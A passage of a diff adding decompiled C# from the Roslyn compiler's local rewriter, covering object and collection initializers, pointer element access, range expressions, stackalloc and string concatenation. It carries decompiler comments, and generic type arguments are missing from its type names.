MethodSymbol addMethod = initializer.AddMethod; + SyntaxNode syntax = initializer.Syntax; + if (_allowOmissionOfConditionalCalls && addMethod.CallsAreOmitted(initializer.SyntaxTree)) + { + return null; + } + ImmutableArray argumentRefKindsOpt = default(ImmutableArray); + if ((int)addMethod.Parameters[0].RefKind == 1) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(addMethod.Parameters.Length, (RefKind)0); + instance[0] = (RefKind)1; + argumentRefKindsOpt = instance.ToImmutableAndFree(); + } + ArrayBuilder tempsOpt = null; + ImmutableArray rewrittenArguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver, ReceiverCaptureMode.Default, initializer.Arguments, addMethod, initializer.ArgsToParamsOpt, argumentRefKindsOpt, null, ref tempsOpt); + rewrittenArguments = MakeArguments(syntax, rewrittenArguments, addMethod, initializer.Expanded, initializer.ArgsToParamsOpt, ref argumentRefKindsOpt, ref tempsOpt); + TypeSymbol type = VisitType(initializer.Type); + if (initializer.InvokedAsExtensionMethod) + { + rewrittenReceiver = null; + } + if (_inExpressionLambda) + { + tempsOpt.Free(); + return initializer.Update(addMethod, rewrittenArguments, rewrittenReceiver, expanded: false, default(ImmutableArray), default(BitVector), invokedAsExtensionMethod: false, initializer.ResultKind, type); + } + return MakeCall(null, syntax, rewrittenReceiver, addMethod, rewrittenArguments, argumentRefKindsOpt, initializer.ResultKind, addMethod.ReturnType, tempsOpt.ToImmutableAndFree()); + } + + private BoundExpression VisitObjectInitializerMember(BoundObjectInitializerMember node, ref BoundExpression rewrittenReceiver, ArrayBuilder sideEffects, ref ArrayBuilder? temps) + { + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + if ((object)node.MemberSymbol == null) + { + return (BoundExpression)VisitObjectInitializerMember(node); + } + BoundExpression obj = rewrittenReceiver; + ArrayBuilder tempsOpt = null; + ImmutableArray arguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver, ReceiverCaptureMode.Default, node.Arguments, node.MemberSymbol, node.ArgsToParamsOpt, node.ArgumentRefKindsOpt, null, ref tempsOpt); + if (tempsOpt != null) + { + if (temps == null) + { + temps = tempsOpt; + } + else + { + temps.AddRange(tempsOpt); + tempsOpt.Free(); + } + } + if (obj != rewrittenReceiver && rewrittenReceiver is BoundSequence boundSequence) + { + temps.AddRange(boundSequence.Locals); + sideEffects.AddRange(boundSequence.SideEffects); + rewrittenReceiver = boundSequence.Value; + } + return node.Update(node.MemberSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ResultKind, node.ReceiverType, node.Type); + } + + private void AddObjectInitializers(ref ArrayBuilder? dynamicSiteInitializers, ref ArrayBuilder? temps, ArrayBuilder result, BoundExpression rewrittenReceiver, ImmutableArray initializers) + { + ImmutableArray.Enumerator enumerator = initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + AddObjectInitializer(ref dynamicSiteInitializers, ref temps, result, rewrittenReceiver, (BoundAssignmentOperator)current); + } + } + + private void AddObjectInitializer(ref ArrayBuilder? dynamicSiteInitializers, ref ArrayBuilder? temps, ArrayBuilder result, BoundExpression rewrittenReceiver, BoundAssignmentOperator assignment) + { + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = null; + if (assignment.Left.Kind != BoundKind.PointerElementAccess) + { + boundExpression = ((assignment.Left is BoundObjectInitializerMember node) ? VisitObjectInitializerMember(node, ref rewrittenReceiver, result, ref temps) : VisitExpression(assignment.Left)); + } + BoundKind kind = assignment.Right.Kind; + bool flag = kind == BoundKind.ObjectInitializerExpression || kind == BoundKind.CollectionInitializerExpression; + BoundExpression boundExpression2; + switch ((boundExpression ?? assignment.Left).Kind) + { + case BoundKind.ObjectInitializerMember: + { + BoundObjectInitializerMember boundObjectInitializerMember = (BoundObjectInitializerMember)boundExpression; + if (!boundObjectInitializerMember.Arguments.IsDefaultOrEmpty) + { + ImmutableArray arguments = EvaluateSideEffectingArgumentsToTemps(boundObjectInitializerMember.Arguments, boundObjectInitializerMember.MemberSymbol?.GetParameterRefKinds() ?? default(ImmutableArray), result, ref temps); + boundObjectInitializerMember = boundObjectInitializerMember.Update(boundObjectInitializerMember.MemberSymbol, arguments, boundObjectInitializerMember.ArgumentNamesOpt, boundObjectInitializerMember.ArgumentRefKindsOpt, boundObjectInitializerMember.Expanded, boundObjectInitializerMember.ArgsToParamsOpt, boundObjectInitializerMember.DefaultArguments, boundObjectInitializerMember.ResultKind, boundObjectInitializerMember.ReceiverType, boundObjectInitializerMember.Type); + } + if (boundObjectInitializerMember.MemberSymbol == null && boundObjectInitializerMember.Type.IsDynamic()) + { + if (dynamicSiteInitializers == null) + { + dynamicSiteInitializers = ArrayBuilder.GetInstance(); + } + if (!flag) + { + BoundExpression loweredRight = VisitExpression(assignment.Right); + LoweredDynamicOperation loweredDynamicOperation = _dynamicFactory.MakeDynamicSetIndex(rewrittenReceiver, boundObjectInitializerMember.Arguments, boundObjectInitializerMember.ArgumentNamesOpt, boundObjectInitializerMember.ArgumentRefKindsOpt, loweredRight); + dynamicSiteInitializers.Add(loweredDynamicOperation.SiteInitialization); + result.Add(loweredDynamicOperation.SiteInvocation); + return; + } + LoweredDynamicOperation loweredDynamicOperation2 = _dynamicFactory.MakeDynamicGetIndex(rewrittenReceiver, boundObjectInitializerMember.Arguments, boundObjectInitializerMember.ArgumentNamesOpt, boundObjectInitializerMember.ArgumentRefKindsOpt); + dynamicSiteInitializers.Add(loweredDynamicOperation2.SiteInitialization); + boundExpression2 = loweredDynamicOperation2.SiteInvocation; + } + else + { + boundExpression2 = MakeObjectInitializerMemberAccess(rewrittenReceiver, boundObjectInitializerMember, flag); + if (!flag) + { + BoundExpression rewrittenRight2 = VisitExpression(assignment.Right); + result.Add(MakeStaticAssignmentOperator(assignment.Syntax, boundExpression2, rewrittenRight2, assignment.IsRef, assignment.Type, used: false)); + return; + } + } + break; + } + case BoundKind.DynamicObjectInitializerMember: + { + if (dynamicSiteInitializers == null) + { + dynamicSiteInitializers = ArrayBuilder.GetInstance(); + } + BoundDynamicObjectInitializerMember boundDynamicObjectInitializerMember = (BoundDynamicObjectInitializerMember)boundExpression; + if (!flag) + { + BoundExpression loweredRight2 = VisitExpression(assignment.Right); + LoweredDynamicOperation loweredDynamicOperation3 = _dynamicFactory.MakeDynamicSetMember(rewrittenReceiver, boundDynamicObjectInitializerMember.MemberName, loweredRight2); + dynamicSiteInitializers.Add(loweredDynamicOperation3.SiteInitialization); + result.Add(loweredDynamicOperation3.SiteInvocation); + return; + } + LoweredDynamicOperation loweredDynamicOperation4 = _dynamicFactory.MakeDynamicGetMember(rewrittenReceiver, boundDynamicObjectInitializerMember.MemberName, resultIndexed: false); + dynamicSiteInitializers.Add(loweredDynamicOperation4.SiteInitialization); + boundExpression2 = loweredDynamicOperation4.SiteInvocation; + break; + } + case BoundKind.ArrayAccess: + { + BoundArrayAccess boundArrayAccess = (BoundArrayAccess)boundExpression; + ImmutableArray indices = EvaluateSideEffectingArgumentsToTemps(boundArrayAccess.Indices, default(ImmutableArray), result, ref temps); + boundExpression2 = boundArrayAccess.Update(rewrittenReceiver, indices, boundArrayAccess.Type); + if (!flag) + { + BoundExpression rewrittenRight = VisitExpression(assignment.Right); + result.Add(MakeStaticAssignmentOperator(assignment.Syntax, boundExpression2, rewrittenRight, isRef: false, assignment.Type, used: false)); + return; + } + break; + } + case BoundKind.PointerElementAccess: + { + BoundPointerElementAccess boundPointerElementAccess = (BoundPointerElementAccess)assignment.Left; + BoundExpression boundExpression3 = VisitExpression(boundPointerElementAccess.Index); + if (CanChangeValueBetweenReads(boundExpression3)) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression3, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + boundExpression3 = boundLocal; + if (temps == null) + { + temps = ArrayBuilder.GetInstance(); + } + temps.Add(boundLocal.LocalSymbol); + result.Add((BoundExpression)store); + } + boundExpression2 = RewritePointerElementAccess(boundPointerElementAccess, rewrittenReceiver, boundExpression3); + if (!flag) + { + BoundExpression rewrittenRight3 = VisitExpression(assignment.Right); + result.Add(MakeStaticAssignmentOperator(assignment.Syntax, boundExpression2, rewrittenRight3, isRef: false, assignment.Type, used: false)); + return; + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)(boundExpression ?? assignment.Left).Kind); + } + AddObjectOrCollectionInitializers(ref dynamicSiteInitializers, ref temps, result, boundExpression2, assignment.Right); + } + + private ImmutableArray EvaluateSideEffectingArgumentsToTemps(ImmutableArray args, ImmutableArray paramRefKindsOpt, ArrayBuilder sideeffects, ref ArrayBuilder? temps) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder val = null; + for (int i = 0; i < args.Length; i++) + { + BoundExpression boundExpression = args[i]; + if (CanChangeValueBetweenReads(boundExpression)) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(args.Length); + val.AddRange(args, i); + } + RefKind refKind = paramRefKindsOpt.RefKinds(i); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, refKind, (SynthesizedLocalKind)(-2)); + val.Add((BoundExpression)boundLocal); + if (temps == null) + { + temps = ArrayBuilder.GetInstance(); + } + temps.Add(boundLocal.LocalSymbol); + sideeffects.Add((BoundExpression)store); + } + else + { + val?.Add(boundExpression); + } + } + return val?.ToImmutableAndFree() ?? args; + } + + private BoundExpression MakeObjectInitializerMemberAccess(BoundExpression rewrittenReceiver, BoundObjectInitializerMember rewrittenLeft, bool isRhsNestedInitializer) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + Symbol memberSymbol = rewrittenLeft.MemberSymbol; + SymbolKind kind = memberSymbol.Kind; + if ((int)kind != 5) + { + if ((int)kind != 6) + { + if ((int)kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)memberSymbol; + if (!rewrittenLeft.Arguments.IsEmpty || propertySymbol.IsIndexedProperty) + { + return MakeIndexerAccess(rewrittenLeft.Syntax, rewrittenReceiver, propertySymbol, rewrittenLeft.Arguments, rewrittenLeft.ArgumentNamesOpt, rewrittenLeft.ArgumentRefKindsOpt, rewrittenLeft.Expanded, rewrittenLeft.ArgsToParamsOpt, rewrittenLeft.DefaultArguments, propertySymbol.Type, null, !isRhsNestedInitializer); + } + return MakePropertyAccess(rewrittenLeft.Syntax, rewrittenReceiver, propertySymbol, rewrittenLeft.ResultKind, propertySymbol.Type, !isRhsNestedInitializer); + } + throw ExceptionUtilities.UnexpectedValue((object)memberSymbol.Kind); + } + FieldSymbol fieldSymbol = (FieldSymbol)memberSymbol; + return MakeFieldAccess(rewrittenLeft.Syntax, rewrittenReceiver, fieldSymbol, null, rewrittenLeft.ResultKind, fieldSymbol.Type); + } + EventSymbol eventSymbol = (EventSymbol)memberSymbol; + return MakeEventAccess(rewrittenLeft.Syntax, rewrittenReceiver, eventSymbol, null, rewrittenLeft.ResultKind, eventSymbol.Type); + } + + public override BoundNode VisitSwitchStatement(BoundSwitchStatement node) + { + return SwitchStatementLocalRewriter.Rewrite(this, node); + } + + public override BoundNode VisitPointerElementAccess(BoundPointerElementAccess node) + { + BoundExpression rewrittenExpression = LowerReceiverOfPointerElementAccess(node.Expression); + BoundExpression rewrittenIndex = VisitExpression(node.Index); + return RewritePointerElementAccess(node, rewrittenExpression, rewrittenIndex); + } + + private BoundExpression LowerReceiverOfPointerElementAccess(BoundExpression receiver) + { + if (receiver is BoundFieldAccess boundFieldAccess && boundFieldAccess.FieldSymbol.IsFixedSizeBuffer) + { + BoundExpression receiver2 = VisitExpression(boundFieldAccess.ReceiverOpt); + BoundFieldAccess boundFieldAccess2 = boundFieldAccess.Update(receiver2, boundFieldAccess.FieldSymbol, boundFieldAccess.ConstantValueOpt, boundFieldAccess.ResultKind, boundFieldAccess.Type); + return new BoundAddressOfOperator(receiver.Syntax, boundFieldAccess2, isManaged: true, boundFieldAccess2.Type); + } + return VisitExpression(receiver); + } + + private BoundExpression RewritePointerElementAccess(BoundPointerElementAccess node, BoundExpression rewrittenExpression, BoundExpression rewrittenIndex) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected I4, but got Unknown + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + if (rewrittenIndex.IsDefaultValue()) + { + return new BoundPointerIndirectionOperator(node.Syntax, rewrittenExpression, node.RefersToLocation, node.Type); + } + BinaryOperatorKind binaryOperatorKind = BinaryOperatorKind.Addition; + SpecialType specialType = rewrittenIndex.Type.SpecialType; + binaryOperatorKind = (specialType - 13) switch + { + 0 => binaryOperatorKind | BinaryOperatorKind.PointerAndIntAddition, + 1 => binaryOperatorKind | BinaryOperatorKind.PointerAndUIntAddition, + 2 => binaryOperatorKind | BinaryOperatorKind.PointerAndLongAddition, + 3 => binaryOperatorKind | BinaryOperatorKind.PointerAndULongAddition, + _ => throw ExceptionUtilities.UnexpectedValue((object)rewrittenIndex.Type.SpecialType), + }; + if (node.Checked) + { + binaryOperatorKind |= BinaryOperatorKind.Checked; + } + return new BoundPointerIndirectionOperator(node.Syntax, MakeBinaryOperator(node.Syntax, binaryOperatorKind, rewrittenExpression, rewrittenIndex, rewrittenExpression.Type, null, null, isPointerElementAccess: true), node.RefersToLocation, node.Type); + } + + public override BoundNode VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node) + { + ImplicitNamedTypeSymbol previousSubmissionType = (ImplicitNamedTypeSymbol)node.Type; + SyntaxNode syntax = node.Syntax; + FieldSymbol orMakeField = _previousSubmissionFields.GetOrMakeField(previousSubmissionType); + BoundThisReference receiver = new BoundThisReference(syntax, _factory.CurrentType); + return new BoundFieldAccess(syntax, receiver, orMakeField, null); + } + + public override BoundNode VisitPropertyAccess(BoundPropertyAccess node) + { + return VisitPropertyAccess(node, isLeftOfAssignment: false); + } + + private BoundExpression VisitPropertyAccess(BoundPropertyAccess node, bool isLeftOfAssignment) + { + BoundExpression rewrittenReceiverOpt = VisitExpression(node.ReceiverOpt); + return MakePropertyAccess(node.Syntax, rewrittenReceiverOpt, node.PropertySymbol, node.ResultKind, node.Type, isLeftOfAssignment, node); + } + + private BoundExpression MakePropertyAccess(SyntaxNode syntax, BoundExpression? rewrittenReceiverOpt, PropertySymbol propertySymbol, LookupResultKind resultKind, TypeSymbol type, bool isLeftOfAssignment, BoundPropertyAccess? oldNodeOpt = null) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + if (rewrittenReceiverOpt != null) + { + TypeSymbol type2 = rewrittenReceiverOpt.Type; + if ((object)type2 != null && (int)type2.TypeKind == 1 && !isLeftOfAssignment && ((ArrayTypeSymbol)rewrittenReceiverOpt.Type).IsSZArray && ((object)propertySymbol == _compilation.GetSpecialTypeMember((SpecialMember)93) || (!_inExpressionLambda && (object)propertySymbol == _compilation.GetSpecialTypeMember((SpecialMember)94)))) + { + return new BoundArrayLength(syntax, rewrittenReceiverOpt, type); + } + } + if (isLeftOfAssignment && (int)propertySymbol.RefKind == 0) + { + if (oldNodeOpt == null) + { + return new BoundPropertyAccess(syntax, rewrittenReceiverOpt, (ThreeState)0, propertySymbol, resultKind, type); + } + return oldNodeOpt.Update(rewrittenReceiverOpt, (ThreeState)0, propertySymbol, resultKind, type); + } + return MakePropertyGetAccess(syntax, rewrittenReceiverOpt, propertySymbol, oldNodeOpt); + } + + private BoundExpression MakePropertyGetAccess(SyntaxNode syntax, BoundExpression? rewrittenReceiver, PropertySymbol property, BoundPropertyAccess? oldNodeOpt) + { + return MakePropertyGetAccess(syntax, rewrittenReceiver, property, ImmutableArray.Empty, default(ImmutableArray), null, oldNodeOpt); + } + + private BoundExpression MakePropertyGetAccess(SyntaxNode syntax, BoundExpression? rewrittenReceiver, PropertySymbol property, ImmutableArray rewrittenArguments, ImmutableArray argumentRefKindsOpt, MethodSymbol? getMethodOpt = null, BoundPropertyAccess? oldNodeOpt = null) + { + if (_inExpressionLambda && rewrittenArguments.IsEmpty) + { + if (oldNodeOpt == null) + { + return new BoundPropertyAccess(syntax, rewrittenReceiver, (ThreeState)0, property, LookupResultKind.Viable, property.Type); + } + return oldNodeOpt.Update(rewrittenReceiver, (ThreeState)0, property, LookupResultKind.Viable, property.Type); + } + MethodSymbol method = getMethodOpt ?? property.GetOwnOrInheritedGetMethod(); + return BoundCall.Synthesized(syntax, rewrittenReceiver, (ThreeState)0, method, rewrittenArguments, argumentRefKindsOpt); + } + + public override BoundNode VisitRangeVariable(BoundRangeVariable node) + { + return VisitExpression(node.Value); + } + + public override BoundNode VisitQueryClause(BoundQueryClause node) + { + return VisitExpression(node.Value); + } + + public override BoundNode VisitRangeExpression(BoundRangeExpression node) + { + bool needLifting = false; + _ = _factory; + BoundExpression boundExpression = node.LeftOperandOpt; + if (boundExpression != null) + { + boundExpression = tryOptimizeOperand(boundExpression); + } + BoundExpression boundExpression2 = node.RightOperandOpt; + if (boundExpression2 != null) + { + boundExpression2 = tryOptimizeOperand(boundExpression2); + } + if (needLifting) + { + return LiftRangeExpression(node, boundExpression, boundExpression2); + } + BoundExpression boundExpression3 = MakeRangeExpression(node.MethodOpt, boundExpression, boundExpression2); + if (node.Type.IsNullableType()) + { + return ConvertToNullable(node.Syntax, node.Type, boundExpression3); + } + return boundExpression3; + BoundExpression tryOptimizeOperand(BoundExpression operand) + { + operand = VisitExpression(operand); + if (NullableNeverHasValue(operand)) + { + operand = new BoundDefaultExpression(operand.Syntax, operand.Type.GetNullableUnderlyingType()); + } + else + { + operand = NullableAlwaysHasValue(operand) ?? operand; + if (operand.Type.IsNullableType()) + { + needLifting = true; + } + } + return operand; + } + } + + private BoundExpression LiftRangeExpression(BoundRangeExpression node, BoundExpression? left, BoundExpression? right) + { + ArrayBuilder sideeffects = ArrayBuilder.GetInstance(); + ArrayBuilder locals = ArrayBuilder.GetInstance(); + BoundExpression condition = null; + left = getIndexFromPossibleNullable(left); + right = getIndexFromPossibleNullable(right); + BoundExpression boundExpression = MakeRangeExpression(node.MethodOpt, left, right); + if (!TryGetNullableMethod(node.Syntax, node.Type, (SpecialMember)117, out MethodSymbol result)) + { + return BadExpression(node.Syntax, node.Type, node); + } + BoundExpression rewrittenConsequence = new BoundObjectCreationExpression(node.Syntax, result, boundExpression); + BoundExpression rewrittenAlternative = new BoundDefaultExpression(node.Syntax, node.Type); + BoundExpression value = RewriteConditionalOperator(node.Syntax, condition, rewrittenConsequence, rewrittenAlternative, null, node.Type, isRef: false); + return new BoundSequence(node.Syntax, locals.ToImmutableAndFree(), sideeffects.ToImmutableAndFree(), value, node.Type); + BoundExpression? getIndexFromPossibleNullable(BoundExpression? arg) + { + if (arg == null) + { + return null; + } + BoundExpression boundExpression2 = CaptureExpressionInTempIfNeeded(arg, sideeffects, locals, (SynthesizedLocalKind)(-2)); + if (boundExpression2.Type.IsNullableType()) + { + BoundExpression boundExpression3 = MakeOptimizedHasValue(boundExpression2.Syntax, boundExpression2); + if (condition == null) + { + condition = boundExpression3; + } + else + { + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + condition = MakeBinaryOperator(node.Syntax, BinaryOperatorKind.BoolAnd, condition, boundExpression3, specialType, null, null); + } + return MakeOptimizedGetValueOrDefault(boundExpression2.Syntax, boundExpression2); + } + return boundExpression2; + } + } + + private BoundExpression MakeRangeExpression(MethodSymbol constructionMethod, BoundExpression? left, BoundExpression? right) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + SyntheticBoundNodeFactory F = _factory; + MethodKind methodKind = constructionMethod.MethodKind; + if ((int)methodKind != 1) + { + if ((int)methodKind != 10) + { + if ((int)methodKind == 11) + { + return F.StaticCall(constructionMethod, ImmutableArray.Empty); + } + throw ExceptionUtilities.UnexpectedValue((object)constructionMethod.MethodKind); + } + BoundExpression item = left ?? right; + return F.StaticCall(constructionMethod, ImmutableArray.Create(item)); + } + left = left ?? newIndexZero(fromEnd: false); + right = right ?? newIndexZero(fromEnd: true); + return F.New(constructionMethod, ImmutableArray.Create(left, right)); + BoundExpression newIndexZero(bool fromEnd) + { + return F.New((WellKnownMember)417, ImmutableArray.Create((BoundExpression)F.Literal(0), (BoundExpression)F.Literal(fromEnd))); + } + } + + public override BoundNode VisitReturnStatement(BoundReturnStatement node) + { + BoundStatement boundStatement = (BoundStatement)base.VisitReturnStatement(node); + bool num; + if (Instrument) + { + if (!node.WasCompilerGenerated) + { + goto IL_005e; + } + if (node.ExpressionOpt != null) + { + num = IsLambdaOrExpressionBodiedMember; + goto IL_005c; + } + if (node.Syntax.Kind() == SyntaxKind.Block) + { + MethodSymbol? currentFunction = _factory.CurrentFunction; + if ((object)currentFunction != null) + { + num = !currentFunction.IsAsync; + goto IL_005c; + } + } + } + goto IL_006c; + IL_006c: + return boundStatement; + IL_005e: + boundStatement = Instrumenter.InstrumentReturnStatement(node, boundStatement); + goto IL_006c; + IL_005c: + if (num) + { + goto IL_005e; + } + goto IL_006c; + } + + public override BoundNode VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression stackAllocNode) + { + return VisitStackAllocArrayCreationBase(stackAllocNode); + } + + public override BoundNode VisitStackAllocArrayCreation(BoundStackAllocArrayCreation stackAllocNode) + { + return VisitStackAllocArrayCreationBase(stackAllocNode); + } + + private BoundNode VisitStackAllocArrayCreationBase(BoundStackAllocArrayCreationBase stackAllocNode) + { + BoundExpression boundExpression = VisitExpression(stackAllocNode.Count); + TypeSymbol type = stackAllocNode.Type; + ConstantValue? constantValueOpt = boundExpression.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.Int32Value == 0) + { + return _factory.Default(type); + } + TypeSymbol elementType = stackAllocNode.ElementType; + BoundArrayInitialization boundArrayInitialization = stackAllocNode.InitializerOpt; + if (boundArrayInitialization != null) + { + boundArrayInitialization = boundArrayInitialization.Update(VisitList(boundArrayInitialization.Initializers)); + } + if (type.IsPointerType()) + { + BoundExpression count = RewriteStackAllocCountToSize(boundExpression, elementType); + return new BoundConvertedStackAllocExpression(stackAllocNode.Syntax, elementType, count, boundArrayInitialization, type); + } + if (TypeSymbol.Equals(type.OriginalDefinition, _compilation.GetWellKnownType((WellKnownType)275), (TypeCompareKind)0)) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)type; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + BoundExpression boundExpression2 = CaptureExpressionInTempIfNeeded(boundExpression, instance, instance2, (SynthesizedLocalKind)28); + BoundExpression count2 = RewriteStackAllocCountToSize(boundExpression2, elementType); + stackAllocNode = new BoundConvertedStackAllocExpression(stackAllocNode.Syntax, elementType, count2, boundArrayInitialization, _compilation.CreatePointerTypeSymbol(elementType)); + MethodSymbol symbol; + BoundExpression argument = ((!TryGetWellKnownTypeMember(stackAllocNode.Syntax, (WellKnownMember)398, out symbol)) ? ((BoundExpression)new BoundBadExpression(stackAllocNode.Syntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Empty, ErrorTypeSymbol.UnknownResultType)) : ((BoundExpression)_factory.New((MethodSymbol)symbol.SymbolAsMember(namedTypeSymbol), stackAllocNode, boundExpression2))); + _needsSpilling = true; + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(argument, out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: false, stackAllocNode.Syntax); + instance.Add((BoundExpression)store); + instance2.Add(boundLocal.LocalSymbol); + return new BoundSpillSequence(stackAllocNode.Syntax, instance2.ToImmutableAndFree(), instance.ToImmutableAndFree(), boundLocal, namedTypeSymbol); + } + throw ExceptionUtilities.UnexpectedValue((object)type); + } + + private BoundExpression RewriteStackAllocCountToSize(BoundExpression countExpression, TypeSymbol elementType) + { + TypeSymbol type = _factory.SpecialType((SpecialType)14); + TypeSymbol type2 = _factory.SpecialType((SpecialType)22); + BoundExpression boundExpression = _factory.Sizeof(elementType); + ConstantValue constantValueOpt = boundExpression.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null) + { + int int32Value = constantValueOpt.Int32Value; + ConstantValue constantValueOpt2 = countExpression.ConstantValueOpt; + if (constantValueOpt2 != (ConstantValue)null) + { + long num = (uint)constantValueOpt2.Int32Value * int32Value; + if (num < uint.MaxValue) + { + return _factory.Convert(type2, _factory.Literal((uint)num), Conversion.IntegerToPointer); + } + } + } + BoundExpression arg = _factory.Convert(type, countExpression, Conversion.ExplicitNumeric); + arg = _factory.Convert(type2, arg, Conversion.IntegerToPointer); + if (constantValueOpt != null && constantValueOpt.Int32Value == 1) + { + return arg; + } + BinaryOperatorKind kind = BinaryOperatorKind.UIntMultiplication | BinaryOperatorKind.Checked; + return _factory.Binary(kind, type2, arg, boundExpression); + } + + private BoundExpression RewriteStringConcatenation(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type) + { + if (_inExpressionLambda) + { + return RewriteStringConcatInExpressionLambda(syntax, operatorKind, loweredLeft, loweredRight, type); + } + loweredLeft = ConvertConcatExprToString(syntax, loweredLeft); + loweredRight = ConvertConcatExprToString(syntax, loweredRight); + BoundExpression boundExpression = TryFoldTwoConcatOperands(loweredLeft, loweredRight); + if (boundExpression != null) + { + return boundExpression; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + FlattenConcatArg(loweredLeft, instance); + FlattenConcatArg(loweredRight, instance2); + if (instance.Any() && instance2.Any()) + { + boundExpression = TryFoldTwoConcatOperands(instance.Last(), instance2.First()); + if (boundExpression != null) + { + instance2[0] = boundExpression; + instance.RemoveLast(); + } + } + instance.AddRange(instance2); + instance2.Free(); + BoundExpression result; + switch (instance.Count) + { + case 0: + result = _factory.StringLiteral(string.Empty); + break; + case 1: + result = instance[0]; + break; + case 2: + { + BoundExpression loweredLeft2 = instance[0]; + BoundExpression loweredRight2 = instance[1]; + result = RewriteStringConcatenationTwoExprs(syntax, loweredLeft2, loweredRight2); + break; + } + case 3: + { + BoundExpression loweredFirst2 = instance[0]; + BoundExpression loweredSecond2 = instance[1]; + BoundExpression loweredThird2 = instance[2]; + result = RewriteStringConcatenationThreeExprs(syntax, loweredFirst2, loweredSecond2, loweredThird2); + break; + } + case 4: + { + BoundExpression loweredFirst = instance[0]; + BoundExpression loweredSecond = instance[1]; + BoundExpression loweredThird = instance[2]; + BoundExpression loweredFourth = instance[3]; + result = RewriteStringConcatenationFourExprs(syntax, loweredFirst, loweredSecond, loweredThird, loweredFourth); + break; + } + default: + result = RewriteStringConcatenationManyExprs(syntax, instance.ToImmutable()); + break; + } + instance.Free(); + return result; + } + + private void FlattenConcatArg(BoundExpression lowered, ArrayBuilder flattened) + { + if (TryExtractStringConcatArgs(lowered, out ImmutableArray arguments)) + { + flattened.AddRange(arguments); + } + else + { + flattened.Add(lowered); + } + } + + private bool TryExtractStringConcatArgs(BoundExpression lowered, out ImmutableArray arguments) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Invalid comparison between Unknown and I4 + switch (lowered.Kind) + { + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)lowered; + MethodSymbol method = boundCall.Method; + if (!method.IsStatic || (int)method.ContainingType.SpecialType != 20) + { + break; + } + if ((object)method == _compilation.GetSpecialTypeMember((SpecialMember)1) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)2) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)3)) + { + arguments = boundCall.Arguments; + return true; + } + if ((object)method == _compilation.GetSpecialTypeMember((SpecialMember)4) && boundCall.Arguments[0] is BoundArrayCreation boundArrayCreation) + { + BoundArrayInitialization initializerOpt = boundArrayCreation.InitializerOpt; + if (initializerOpt != null) + { + arguments = initializerOpt.Initializers; + return true; + } + } + break; + } + case BoundKind.NullCoalescingOperator: + { + BoundNullCoalescingOperator boundNullCoalescingOperator = (BoundNullCoalescingOperator)lowered; + ConstantValue constantValueOpt = boundNullCoalescingOperator.RightOperand.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null && constantValueOpt.IsString && constantValueOpt.StringValue.Length == 0) + { + arguments = ImmutableArray.Create(boundNullCoalescingOperator.LeftOperand); + return true; + } + break; + } + } + arguments = default(ImmutableArray); + return false; + } + + private 